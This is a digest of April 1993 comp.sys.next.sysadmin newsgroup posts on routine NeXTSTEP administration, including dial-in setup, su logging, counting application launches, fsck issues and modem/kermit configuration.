Date: Sat, 24 Apr 1993 17:45:19 GMT
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From: matt%mattcube@concert.net(Matthew M. Stecker)
Subject: Re: Remote Window Server ?
Message-ID: <1993Apr24.182707.3292@mattcube>
Sender: matt@mattcube
Organization: mSys Consulting.
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Date: Sat, 24 Apr 1993 18:27:07 GMT
In article <SCOTT.93Apr23235328@nic.gac.edu> writes:
> Rather than redirect the windowserver ... you _can_ redirect the
> Workspace. At least under NS2.0 you could. You do something like:
>
> /usr/lib/NextStep/Workspace.app/Workspace -NXHost MyHost -AppDockOffsetX
" -64"
Well, I've been trying to get this to work for some time, with little success.
Here's what happens when I try the above:
_____________________
mattcube> /usr/lib/NextStep/Workspace.app/Workspace -NXHost mattcube
-AppDockOffsetX " -64"
Apr 24 14:23:23 Workspace: Cannot register device insertion notification port
with bootstrap server : bootstrap service already active
Apr 24 14:23:23 Workspace: Removable disk operations disabled
Apr 24 14:23:23 Workspace: Cannot exec /usr/lib/viewer/WM.app
Apr 24 14:23:23 Workspace: Cannot define WorkspaceReply : Netnameserver: name
is not yours
mattcube>
__________________________
Any Help? I'd like to plug in a '030 board and display the workspace -NXHost
on the '040 board. Is there a real easy way to do this? I know that I can buy
the associated software from Spherical, but if it can be done w/o that
software, so much the better.
Matthew Stecker
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From: royce@splunge.uucp (Royce Howland)
Subject: Re: Hard Disk Ruination Imminent?
Message-ID: <1993Apr24.170257.13175@splunge.uucp>
Organization: Ashley, Howland & Wood
References: <1993Apr20.030245.29502@splunge.uucp> <C5tJnD.Dq6@fafnir.com>
Date: Sat, 24 Apr 1993 17:02:57 GMT
mckelvey@fafnir.com (James W. McKelvey) writes:
>In article <1993Apr20.030245.29502@splunge.uucp> royce@splunge.uucp (Royce
>Howland) writes:
>> andrew@stone.com (Andrew Stone) writes:
>>
>> >I've got one machine on our net which is so close to my bed that I feel
>> >obliged to shut it off at night, else I code in my sleep.
>>
>> >The trouble is, each time I power up, it fsck's, even though I power down
>> >clean. Any guesses as to what this means?
>>
>> We have several machines on our net that do this, also. And I just
>> saw an Epson Progression with NS Intel PR1 doing the same thing. I
>> don't know why it's happening, but my theory is that it has something
>> to do with NFS. In any event, it seems unlikely that all of ours are
>> hard disks about to take that final spin-down.
>>
>> That's not to say that your disk isn't really dying. :~)
>> --
>This is a 3.0 "feature" I have reported to NeXT. I have ten NeXT's to
>administer at work. The stations almost NEVER reboot cleanly; the cubes almost
>ALWAYS reboot cleanly, as does the lone Turbo station. Under 2.1, they all
>rebooted cleanly. Who knows why???
Well, it's not just a 3.0 problem, since some of our machines
were doing the same thing under 2.2. I've gone through 4 different
slabs, 2.2 & 3.0, non-Turbo & Turbo, and my slabs almost always
don't boot clean.
I'm also constantly plagued with .nfs files, so I've tended to
associate the two factors in my thinking. Also, I believe that if
NFS filesystems can't be unmounted at shutdown time, then the root
filesystem also can't be unmounted, which means it won't be clean
when next you boot. Thus I suspect NFS is the culprit...anybody
got any other theories on the matter?
--
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Everything is IMHO | operating system, programs are
royce@splunge.uucp (NeXTMail OK) | easier to write and run faster,
or kakwa!atlantis!splunge!royce | too." -ad for OS/2 2.0
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From: guest@pion.lanl.gov (T8 Guests)
Subject: autoCompact in Mail.app 3.0 ?
Message-ID: <1993Apr24.002421.17607@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Lab
Date: Sat, 24 Apr 1993 00:24:21 GMT
Is there a way to get 3.0 Mail.app to automatically compact mailboxes?
strings /NextApps/Mail.app/Mail shows a variable autoCompact
(along with autoFetch, autoLaunch, autoIndent, KeyBindings, etc.), but
dwrite Mail autoCompact YES
has no effect. if this is not yet implemented in Mail.app, do any
of the add-on Mail.app utilities available on archives
allow for auto-compacting all accessed mbox's on quitting Mail.app ?
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Subject: tunefs on root filesystem.
Message-ID: <OLEG.93Apr24124607@gd.cs.CSUFresno.EDU>
From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev)
Date: 24 Apr 93 12:46:07
Distribution: world
Organization: Computer Science Departement of California State University inFresno
I am trying to reduce minfree for a root filesystem on a NeXT without
any other boot device around. Manpage for tunefs says that it won't
work on mounted filesystems, but than mentions that if it's applied to
root filesystem, machine must be rebooted. I thought it means that if
you kill "update", run tunefs and than reboot the system w/o sync, it
will work.
I tried doing tunefs on both /dev/sd0a and /dev/rsd0a in this way, but
it didn't have any effect on minfree. A while ago, I had the same
problem on a Sun and ended up defining duplicates of / and /usr
partitions (ie /dev/sd0e and /dev/sd0f), so I could do tunefs on those
fake "dismounted" filesystems.
Now, format program on a Sun allows me to define new partitions
without affecting any existing ones. /usr/etc/disk on NeXT insists on
"using default parameters from /etc/disktab" if I select writing a
label. Since I didn't format this hard drive, I am affraid it might be
formatted under a different version of NextStep, so I didn't venture
to do this yet.
Did anyone figure out a better way to tunefs / on NeXT? On this HD, it
will give us ~40M of local disk space.
Oleg
From: alexhart@cerf.net (Alex Hartley)
Newsgroups: comp.sys.next.sysadmin
Subject: install fonts
Date: 24 Apr 1993 21:55:55 GMT
Organization: CERFnet
Distribution: world
Message-ID: <1rcd1b$6n9@news.cerf.net>
Keywords: fonts install font window
Can someone send be a little stap-by-step method of installing more fonts
in my machine using NS 3.0 so that the fonts all show up in the font
panel?
Thanks!
--
Alex Hartley - NeXTmail preferred
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Counting program launches
Message-ID: <C60E5M.9o1@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
Date: Sat, 24 Apr 1993 22:22:19 GMT
Can anyone come up with a way to count the number of times a
certain NeXTSTEP app is launched? Perhaps a process that watches the
executable to see how many times it is executed? I don't want it for
licensing issues, just so we can see what applications are being
used and how often. I imagine this would run on the NFS server that
houses the applications. I don't care which machines are taking it,
I just want to know how many times it's started up.
Any ideas???
(I am thinking of something involving lsof, but how could you make
it run continuously? I suppose there might be a way to hack up the
lsof code so that it just runs on that specific file all the time)
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From: jfosback@darmok.uoregon.edu (Jason Fosback)
Newsgroups: comp.sys.next.sysadmin
Subject: How to monitor a tty?
Message-ID: <1rcm8s$a92@pith.uoregon.edu>
Date: 25 Apr 93 00:33:32 GMT
Article-I.D.: pith.1rcm8s$a92
Organization: University of Oregon Network Services
Is there a way to monitor a tty that a user is logged into? I'd like to
essentially be able to get a "mirror image" of what the user is seeing
and typing on his or her tty.
Thanks in advance for any assistance!!
-jason
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From: jfosback@darmok.uoregon.edu (Jason Fosback)
Newsgroups: comp.sys.next.sysadmin
Subject: How to setup dialin access??
Message-ID: <1rcmir$a9a@pith.uoregon.edu>
Date: 25 Apr 93 00:38:51 GMT
Article-I.D.: pith.1rcmir$a9a
Organization: University of Oregon Network Services
I'd like to be able to allow users to dial in to my NeXTstation running
NeXTSTEP 3.0. From what I can gather, UUCP is *not* what I want.
Essentially, I'd like the computer to pick up an incoming call and route
it to the telnetd (or something similar), so that the user can get the
standard "login:" prompt.
At that point, all interaction with the computer should be exactly the
same as if you had telnetted to a remote machine on the Internet.
How can I achieve this? I've played around a little with /etc/getty but
with no success. Any help would be much apreciated!
Thanks!
-jason
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From: dlw@netcom.com (David L. Williams)
Subject: Re: Hard Disk Ruination Imminent?
Message-ID: <dlwC60nJ4.IKL@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <1993Apr24.170257.13175@splunge.uucp>
Date: Sun, 25 Apr 1993 01:45:04 GMT
I was having the same thing happen and I thought it was being caused by
one of the commercial packages I had bought for my machine. Then I left the
machine on one night late and the cron job that runs and cleans up the old
.nfs files ran and viola! no more fsck's on boot up. But hey who knows...
The cron job I refer to is one that comes preinstalled with 2.x/3.x. and when
it cranks up makes MR disk rattle real good.
David Williams
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Counting program launches
Message-ID: <C60q43.KJs@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <C60E5M.9o1@ux1.cso.uiuc.edu>
Date: Sun, 25 Apr 1993 02:40:36 GMT
lemson@ux1.cso.uiuc.edu (David Lemson) writes:
>Can anyone come up with a way to count the number of times a
>certain NeXTSTEP app is launched? Perhaps a process that watches the
> [..]
>used and how often. I imagine this would run on the NFS server that
>houses the applications. I don't care which machines are taking it,
An addition to my original note: I would really rather this ran on
the NFS server(s) that house the apps. I don't want to have to go
pester all the people that mount my apps to install something on
their own machines, or to have to go collect system accounting files
from the 90-odd machines that I'm responsible for.
Is something like this only a dream? (I have had 2 'me too's' for
this so far already, so if anyone has a good answer, posting is
OK!)
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From: wching@csmt.music.yale.edu (William Ching)
Subject: Monitoring SU's
Message-ID: <1993Apr25.040706.7284@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale School of Music, Center for Studies in Music Technology
Date: Sun, 25 Apr 1993 04:07:06 GMT
Hi! I am concerned about security at this site, and was wondering if there
was a way to log su attempts, either via syslog or via some other means. I
know that SU writes to the console, but /tmp/console.log gets deleted every
time some user logs into the console, so that's effective useless. Any
suggestions would be much appreciated. Thanks!
WC
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Monitoring SU's
Message-ID: <C61580.6D4@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Apr25.040706.7284@cs.yale.edu>
Date: Sun, 25 Apr 1993 08:06:58 GMT
wching@csmt.music.yale.edu (William Ching) writes:
>Hi! I am concerned about security at this site, and was wondering if there
>was a way to log su attempts, either via syslog or via some other means. I
>know that SU writes to the console, but /tmp/console.log gets deleted every
>time some user logs into the console, so that's effective useless. Any
>suggestions would be much appreciated. Thanks!
Yes, you can monitor them by syslog. It is at the auth.info level,
so if you say:
auth.info /usr/adm/paranoid
in your syslog.conf, it will go to a file.
Both bad and successful su's will be logged here.
(I'm not certain that it's at the info level, but info does catch
these so I know it's not at the debug level)
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From: irving@Happy-Man.com (Irving_Wolfe)
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Subject: cancel <1993Apr23.180959.4184@Happy-Man.com>
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Date: 25 Apr 93 15:44:45 GMT
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From: irving@Happy-Man.com (Irving_Wolfe)
Newsgroups: comp.sys.next.sysadmin,comp.mail.mh
Subject: Re: mh-6.8 for NeXT
Message-ID: <1993Apr25.154330.12332@Happy-Man.com>
Date: 25 Apr 93 15:43:30 GMT
Organization: Happy Man Corp., Vashon Island, WA 98070-7399
Thanks, Net! I got four replies.
One person asked why on earth elm wasn't good enough for me, so I
told him.
One person reported similar problems to mine on a Sun system; I
hope this helps her.
Chris Paris <cap@bawdy.slip.cs.cmu.edu> kindly offered to share his
binaries, compiled under 2.1, which should work under 3.0.
Louie Mamakos, who has great expertise in making generic software
run on the Next, sent me his conf/MH file, which I modified to fit
my circumstances and used successfully. His message follows, to
help others:
> Date: Fri, 23 Apr 93 22:07:04 -0400
> From: louie@sayshell.umd.edu (Louis A. Mamakos)
> Here what I use. Note in particular the -fwritable-strings
> option.
> louie
# @(#)$Id: MH,v 1.7 90/04/06 09:44:31 sources Exp $
#
bin /local/bin
etc /local/lib/mh
ldoptlibs -lsys_s -object
mail /usr/spool/mail
mandir /local/man
manuals standard
mts sendmail/smtp
remove rm -f
pop on
ccoptions -O -bsd -fwritable-strings -pipe
options BIND BSD42 BSD43 DBMPWD FLOCK RENAME VSPRINTF ZONEINFO
options MHE MHRC RPATHS WHATNOW DUMB MIME MSGID RPATHS
options NOMHSEQ
options SBACKUP='"\\043"'
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: How to setup dialin access??
Message-ID: <1993Apr25.144631.15935@seer.demon.co.uk>
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Organization: P & L Systems
References: <1rcmir$a9a@pith.uoregon.edu>
Date: Sun, 25 Apr 1993 14:46:31 GMT
In article <1rcmir$a9a@pith.uoregon.edu> jfosback@darmok.uoregon.edu
(Jason Fosback) writes:
> I'd like to be able to allow users to dial in to my NeXTstation running
> NeXTSTEP 3.0. From what I can gather, UUCP is *not* what I want.
>
> Essentially, I'd like the computer to pick up an incoming call and route
> it to the telnetd (or something similar), so that the user can get the
> standard "login:" prompt.
>
> At that point, all interaction with the computer should be exactly the
> same as if you had telnetted to a remote machine on the Internet.
>
> How can I achieve this? I've played around a little with /etc/getty but
> with no success. Any help would be much apreciated!
>
Have you considered giving them a normal shell login? You know, /bin/csh?
Paul
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to setup dialin access??
Date: 25 Apr 1993 17:44:37 +0100
Organization: me organized? That's a joke!
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References: <1rcmir$a9a@pith.uoregon.edu> <1993Apr25.144631.15935@seer.demon.co.uk>
You just create an account for the user give him a shell. and then
add an entry in /etc/ttys. kill -HUP 1 when you have done this. You
should fine an extra getty process running once you have done this.
That should do it.
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From: dave@prim.demon.co.uk (Dave Griffiths)
Subject: Re: Counting program launches
Organization: Primitive Software Ltd.
References: <C60E5M.9o1@ux1.cso.uiuc.edu> <C60q43.KJs@ux1.cso.uiuc.edu>
Date: Sun, 25 Apr 1993 12:25:26 +0000
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In article <C60q43.KJs@ux1.cso.uiuc.edu> lemson@uiuc.edu writes:
>lemson@ux1.cso.uiuc.edu (David Lemson) writes:
>
>>Can anyone come up with a way to count the number of times a
>>certain NeXTSTEP app is launched? Perhaps a process that watches the
>> [..]
>>used and how often. I imagine this would run on the NFS server that
>>houses the applications. I don't care which machines are taking it,
>
>An addition to my original note: I would really rather this ran on
>the NFS server(s) that house the apps. I don't want to have to go
>pester all the people that mount my apps to install something on
>their own machines, or to have to go collect system accounting files
>from the 90-odd machines that I'm responsible for.
>
>Is something like this only a dream? (I have had 2 'me too's' for
>this so far already, so if anyone has a good answer, posting is
>OK!)
First the bad news. It's impossible to implement this centrally _only_ on
your NFS server machine because the NFS server doesn't know the difference
between "applications" and any other type of file - it just handles read
requests.
Now the good news. You can implement such a counting mechanism by running a
program on each client machine. If you like, they can all report their
results automatically back to another program running on the server. (It
would be useful if all the machines on your network ran a standard rc script
held on the server at boot time, then you wouldn't need to bother with
installing this program on every machine).
You just need to create an application with a controller object that is
NXApp's delegate. Then you have:
- appDidInit:sender
{
[[Application workspace] beginListeningForApplicationStatusChanges];
return self;
}
- app:sender applicationDidLaunch:(const char *)appName
{
if (!strcmp(appName, "Path of the app you're interested in")) {
// Increment count, report back to central counter app, etc
}
return self;
}
It works, I just tried it. There is only one proviso: it only gets triggered
if your application is launched from the workspace manager (maybe NeXT
should modify Application to make it automatically register newly launched
apps with the workspace?). But well behaved dock extenders will use the WM to
launch the app for them anyway.
Dave Griffiths
From: gary@msu.edu (Gary J LaPointe CIS-AH MSU)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to setup dialin access??
Date: 25 Apr 1993 21:10:05 GMT
Organization: Michigan State University
Message-ID: <1reund$kss@msuinfo.cl.msu.edu>
References: <1993Apr25.144631.15935@seer.demon.co.uk>
I don't think there is a problem with setting up an account
From what I get out of the question is
"How you you rig the NeXT to answer the modem hooked up
to one of the serial ports?"
I'd answer it, but I don't know how.
I'd love to know though 'cause I want to hook a couple of dumbterminals
up to the NeXT so more than one person can use the NeXT at once.
Gary
gary@ah3.cal.msu.edu
Oops!! I just replied a copy of this to someone instead of
doing a follow-up, sorry!!!!!!
From: gary@msu.edu (Gary J LaPointe CIS-AH MSU)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mysterious loss of harddrive space
Date: 25 Apr 1993 21:15:25 GMT
Organization: Michigan State University
Message-ID: <1rev1d$kss@msuinfo.cl.msu.edu>
References: <1r6eekINN28a@news.aero.org>
Had a machine losing diskspace while he watched the other day.
Lost 6 meg just in a few minutes.
We quit everything, gave us a meg.
We logged out and then back in and it gave us another meg.
We logged out and shutdown, then looged back in
it gave us 18 meg back!!!!!!!!!!!!
That is quit a bit since the machine only has a 100MB drive and the
system uses 65 for who knows what.
We went from 17 to 35 free, he was happy.
gary
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From: kgnome@cs.concordia.ca (MATIS stephane)
Subject: Smalltalk building under NeXTSTEP 3.0
Message-ID: <C62Avt.AEp@newsflash.concordia.ca>
Summary: GNU Smalltalk 1.1.1
Sender: usenet@newsflash.concordia.ca (USENET News System)
Organization: Computer Science, Concordia University, Montreal, Quebec
Date: Sun, 25 Apr 1993 23:07:05 GMT
The following is the answer that I have received on my difficulty in
"making" GNU Smallatlk 1.1.1 under NEXTSTEP 3.0. I have yet to try the
posted "success", but I'm sure it will work.
[Include Message]-------------------------------------------------------
Date: Sat, 24 Apr 93 15:24:58 -0500
From: Chris Cleeland <milo!chris@wpa.com>
To: MATIS stephane <kgnome@cs.concordia.ca>
Subject: Re: GNU Smalltalk 1.1.1 Binaries sought
Reply-To: chris%milo@wpa.com
In comp.sys.next.programmer article <C5v5uy.HM1@newsflash.concordia.ca>
you wrote:
> Hello Folks!
>
> I'm looking for a set of GNU Smalltalk Binaries that run under 3.0,
> but certainlly weren't compiled under 3.0, as it seems to be impossible. My
> two attemptes failed, and according to gnu.smalltalk.bug, that's the general
> gist of it.
>
> So please, could a good samaritan upload to cs.orst.edu or sonnata
> a set of binaries for Smalltalk. I'm learning the language through the
> Smalltalk tuorial, and have been very taken by it. I like the ploding
> methodology ... after I'm done with this, I may finally get time to finish
> my Garfinkel&Mahoney book and code in ObjC.
>
> In the meantime, I'll keep using my DGUX compiled edition, which
> "seems" to work ok ... ( I'm having a strange bug related to a tutorial
> example)
>
>
> +---------------------------------+ ___ ___ ___
> | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT!
> | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0!
> | "It Just Works..." - Steve Jobs | \___/
> +---------------------------------+ Wolfnet Operative & NeXThead
You really can get it to compile under NS3.0. It takes some work, though. The
problem lies in compiling mstinterp.c and using the NeXT-tweaked preprocessor.
If you look in /lib, you'll see both "cpp" and "cpp.precomp". The default
preprocessor is the latter. It appears to have a bug in it which processing
mstinterp provokes.
What I did was to simply make a copy of mstinterp.c to mstinterp.c.orig.
Then, I ran /lib/cpp (with the appropriate arguments from the Makefile)
to produce mstinterp.i; after this, I ran cc on mstinterp.i and viola', it
linked!
I need to report these to both gnu.smalltalk.bug and NeXT. I'm having
some problems posting from my machine at the moment, and I don't get
gnu.smalltalk.bug. Would you mind passing it on? I've got to figure out
where to mail for NeXT bugs.
Good luck! And let me know if you need more help!
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Chris Cleeland | Internet: chris%milo@wpa.com
Consultant/NeXT Advocate | UUCP: wupost!nimno!milo!chris
Milo Designs | BellNet: (314) 771-3860
[End of Include]-------------------------------------------------------
+---------------------------------+ ___ ___ ___
| Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT!
| E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0!
| "It Just Works..." - Steve Jobs | \___/
+---------------------------------+ Wolfnet Operative & NeXThead
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From: rick@indeed.stanford.edu (Rick Stanley Francis)
Subject: Re: How to setup dialin access??
Message-ID: <1993Apr26.004949.2334@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1reund$kss@msuinfo.cl.msu.edu>
Date: Mon, 26 Apr 93 00:49:49 GMT
In article <1reund$kss@msuinfo.cl.msu.edu> gary@msu.edu (Gary J LaPointe
CIS-AH MSU) writes:
> I don't think there is a problem with setting up an account
> From what I get out of the question is
> "How you you rig the NeXT to answer the modem hooked up
> to one of the serial ports?"
>
> I'd answer it, but I don't know how.
> I'd love to know though 'cause I want to hook a couple of dumbterminals
> up to the NeXT so more than one person can use the NeXT at once.
man ttys
should give you the info you want. There is also some comments in
/etc/ttys that may be helpful. man zs may also come in helpful.
-Rick Francis
rickf@leland.stanford.edu
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From: tfs@gravity.gmu.edu (Tim Scanlon)
Subject: Re: How to setup dialin access??
Message-ID: <1993Apr26.034911.19421@gmuvax2.gmu.edu>
Followup-To: comp.sys.next.sysadmin
Summary: use /dev/ttyda or /dev/ttydb
Sender: tfs@gravity.gmu.edu
Organization: George Mason University, Fairfax Va.
References: <1rcmir$a9a@pith.uoregon.edu>
Distribution: world
Date: Mon, 26 Apr 1993 03:49:11 GMT
from the zs manpage:
"
/dev/ttyda /dev/ttyda (/dev/ttydb) is used for "incom-
ing" connections from modems.
When /dev/ttyda is opened, the device driver
asserts DTR and then blocks waiting for the
modem to assert DCD (indicating that a con-
nection has been established with a remote
modem). When DCD is asserted by the modem
the open system call returns. If DCD is
deasserted by the modem, further reads and
writes to the device will return the error
EIO (i/o error); if the tty is the control-
ling terminal for the process a SIGHUP will
be sent to the process.
/dev/ttyda is typically used in the file
/etc/ttys for connecting modems used for
dial-up logins.
If a serial line is opened with the
/dev/ttyda device name, it may not be opened
with the /dev/ttya. A serial line opened
with the /dev/ttyda device name may also be
opened with the /dev/cua device name. Inter-
locks between the /dev/ttyda and /dev/cua
device names are described below.
/dev/ttydfa /dev/ttydfa (/dev/ttydfb) operates identi-
cally to /dev/ttyda except that RTS/CTS flow
control is supported on 68040-based systems.
See the section below on RTC/CTS flow con-
trol.
"
It's been my experience that ttydfa & ttyfa may also need
to be used depending on the modem. Take a good look at the manpage
for zs & it should answer most of your configuration questions, as it
covers topics like uucp & dialin togther etc.
Tim Scanlon
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From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Configuring SUPRA Fax modem to fastest data possible
Date: 25 Apr 1993 23:00:21 -0500
Organization: Educational Computing Network
Message-ID: <1rfmol$nb4@uxa.ecn.bgu.edu>
References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> <tlm.735624828@scl1.al.iastate.edu>
In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes:
>In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes:
>
>>I am trying to configure my v32.bis, v42.bis SUPRA fax modem to transfer
>>data as fast as possible. However, it is taking on the order of 30 min to
>>transfer half a meg of data, and this seems slow since the modem on the other
>>end also handles v32.bis and v42.bis.
>
>Well, the supra has a very nice little digital readout that tells you what
>speed and compression are going at the moment. If you see 14.4 and then LP
>and then CD then that's the best you are going to do in terms of modem to
>modem connectivity.
A little unclear. If you get 144, then DC, then LP, you have a V.32bis
and V.42bis connection with V.42 error correction (very desireable).
This is a *good* thing because it means you are getting up to
4:1 compression (up to 57600bps throughput). Also, the V.42bis
protocol is intelligent enough to know that if it can't compress a file
(some binaries), it will stop trying until it sees compressible data
again. If you get M5 instead of LP, you have an MNP5 connection
(2:1 compression), which is bad if you're transfering binaries because it
could be slower than a straight 14.4K connection.
>>I am using kermit as the transfer protocol.
>
>And as well all know that basically explains everything!! :) :)
>Kermit is *extremely* slow, particularly if the packet size is too
>small. I gave up on it completely and went to tip for a while, which was
>better, and now use SLIP, which is the best of all (particularly wiht
>SLIPcommander, which does backup for me, synchronizes my clock, fetches the
>mail, etc.). In SLIP at 14.4 a half Mb transfer will take a couple minutes
>tops.
Err, this isn't quite true. First, kermit isn't that bad if you set it
up right. Give it good send and receive packet sizes (2000 is good on
clean lines) and 2 sliding windows and you should be in great shape.
Note that you can also use zmodem transparently from within kermit. I
believe someone has already explained how to do that.
A half a meg in "a couple minutes tops"? I find that hard to believe,
especially if you're using SLIP. Kermit is most definately faster (with
either of the above setups) than SLIP. Assuming the best possible theoretical
circumstances, it would take you 1 1/2 minutes to transfer 524288 bytes
(1/2 meg) at 57600bps. You'll never see that in practice. You'll get
close if you transfer very compressible text files. Most people transfer
zips, GIFs, JPEGs, tar.[zZ]'s, and other already-compressed files, which
means they'll be seeing transfer rates of about 6 1/2 minutes at 1440 cps.
Don't get me wrong, I highly recommend SLIP, but it's certainly not
faster at transfering files than kermit or kermit & zmodem.
>>Can someone tell me what lines I need to add to either /etc/remote, /etc/ttys,
>>and .kermrc to get up to 57600 baud with compression?
Oh yeah. That's what the whole point of the post was. :)
You don't need to muck with /etc/remote if you're not going to use tip.
Here's my /etc/ttys entry for the SupraFAX dialout line:
ttydfa "/usr/etc/getty D38400" vt100 on
Note, this uses hardware flow control (*strongly* recommended).
Here are excerpts from my /etc/gettytab file:
h|std.38400|38400-baud:\
:sp#38400:
x|D38400|Fast-Dial-38400:\
:nx=D19200:tc=38400-baud:
Finally, here's my ~/.kermrc file for use with or without zmodem:
set line /dev/cufa
set speed 38400
set window 2
set block 3
set receive packet-length 2000
set send packet-length 2000
# Send & receive Xmodem, Ymodem, Zmodem macros
define sx -
!sx \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line)
define rx -
!rx \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line)
define sb -
!sb \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line)
define rb -
!rb \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line)
define sz -
!sz \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line)
define rz -
!rz \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line)
Best regards,
Pred Bundalo
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Predrag S. Bundalo
Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
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Control: cancel <1993Apr25.235036.10816@news.cs.indiana.edu>
From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: cmsg cancel <1993Apr25.235036.10816@news.cs.indiana.edu>
Message-ID: <1993Apr25.235927.11127@news.cs.indiana.edu>
References: <C60E5M.9o1@ux1.cso.uiuc.edu>
Date: Sun, 25 Apr 1993 23:59:19 -0500
Newsgroups: comp.sys.next.sysadmin
From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: Re: Counting program launches
Message-ID: <1993Apr25.235929.11142@news.cs.indiana.edu>
Organization: Objectario
References: <C60E5M.9o1@ux1.cso.uiuc.edu>
Date: Sun, 25 Apr 1993 23:59:18 -0500
>Can anyone come up with a way to count the number of times a
>certain NeXTSTEP app is launched?
Here's an idea. Suppose you have "Foo.app". Move Foo.app/Foo to
Foo.app/realVersionOfFoo, then replace Foo.app/Foo with a small custom
program that looks just like Foo - same icon, registered to handle the
same extensions, services, etc etc - and it does something like
main(argc, argv)
int argc;
char *argv[];
{
log_that_Foo_was_launched(); // whatever.
execv( "/the/path/to/realVersionOfFoo", argv);
}
I did something like this for a customer that had 2 versions of a
particular program, one that worked with an ADB keyboard, one that
worked with the old keyboard. (The original program didn't bother to
figure out which keyboard was in use - users were expected to run the
appropriate version themelves. That was a pain.) Instead of logging,
my "cover" program did a little test to see which keyboard was in use,
then exec'd the appropriate version of the original binary. It's been
working out well so far.
You might be able to use this trick for other things - restrict certain
programs so that they can only be run under certain conditions, etc etc.
There may be pissues related to the weird path being handed to
the real program when it's exec'd. Also you have to be
careful that your fake program pretends to handle the same services,
file extensions, etc etc as the original. It doesn't need to do
anything about those things, since the real program which is exec'd will
handle them.
Hope this helps,
Steve
--
Steve Hayman
Objectario, Toronto, Ontario
shayman@objectario.com
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From: gvh@metrosoft.com (Gordon Van Huizen)
Subject: Re: Counting program launches
Message-ID: <1993Apr25.230255.8393@metrosoft.com>
Sender: gvh@metrosoft.com
Organization: Metrosoft
References: <1993Apr25.122526.7779@prim>
Date: Sun, 25 Apr 1993 23:02:55 GMT
In article <1993Apr25.122526.7779@prim> dave@prim.demon.co.uk (Dave
Griffiths) writes:
> But well behaved dock extenders will use the WM to launch
> the app for them anyway.
Indeed they do. :-)
--
Gordon Van Huizen vox: 619.488.9411 fax: 619.488.3045
Metrosoft gvh@metrosoft.com [NeXTmail welcome]
"Our ship is coming in, it just isn't black." - MTD 2/93
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: autoCompact in Mail.app 3.0 ?
In-Reply-To: guest@pion.lanl.gov's message of Sat, 24 Apr 1993 00:24:21 GMT
To: guest@pion.lanl.gov (T8 Guests)
Message-ID: <CEDMAN.93Apr25195719@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Apr24.002421.17607@newshost.lanl.gov>
Date: Sun, 25 Apr 1993 23:57:19 GMT
In article <1993Apr24.002421.17607@newshost.lanl.gov> guest@pion.lanl.gov (T8 Guests) writes:
Is there a way to get 3.0 Mail.app to automatically compact mailboxes?
strings /NextApps/Mail.app/Mail shows a variable autoCompact
(along with autoFetch, autoLaunch, autoIndent, KeyBindings, etc.), but
dwrite Mail autoCompact YES
has no effect. if this is not yet implemented in Mail.app, do any
of the add-on Mail.app utilities available on archives
allow for auto-compacting all accessed mbox's on quitting Mail.app ?
Not yet, but in a few days I'm going to upload the next release of my
Mail.app utilities package which includes a binary to compact Mail.app
mailboxes. Just run it in LogoutHook or something like that.
Carl Edman
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: Counting program launches
In-Reply-To: dave@prim.demon.co.uk's message of Sun, 25 Apr 1993 12:25:26 +0000
To: dave@prim.demon.co.uk (Dave Griffiths)
Message-ID: <CEDMAN.93Apr25200222@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
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References: <C60E5M.9o1@ux1.cso.uiuc.edu> <C60q43.KJs@ux1.cso.uiuc.edu>
<1993Apr25.122526.7779@prim>
Date: Mon, 26 Apr 1993 00:02:22 GMT
In article <1993Apr25.122526.7779@prim> dave@prim.demon.co.uk (Dave Griffiths) writes:
In article <C60q43.KJs@ux1.cso.uiuc.edu> lemson@uiuc.edu writes:
>lemson@ux1.cso.uiuc.edu (David Lemson) writes:
>
>>Can anyone come up with a way to count the number of times a
>>certain NeXTSTEP app is launched? Perhaps a process that watches the
>> [..]
>>used and how often. I imagine this would run on the NFS server that
>>houses the applications. I don't care which machines are taking it,
>
>An addition to my original note: I would really rather this ran on
>the NFS server(s) that house the apps. I don't want to have to go
>pester all the people that mount my apps to install something on
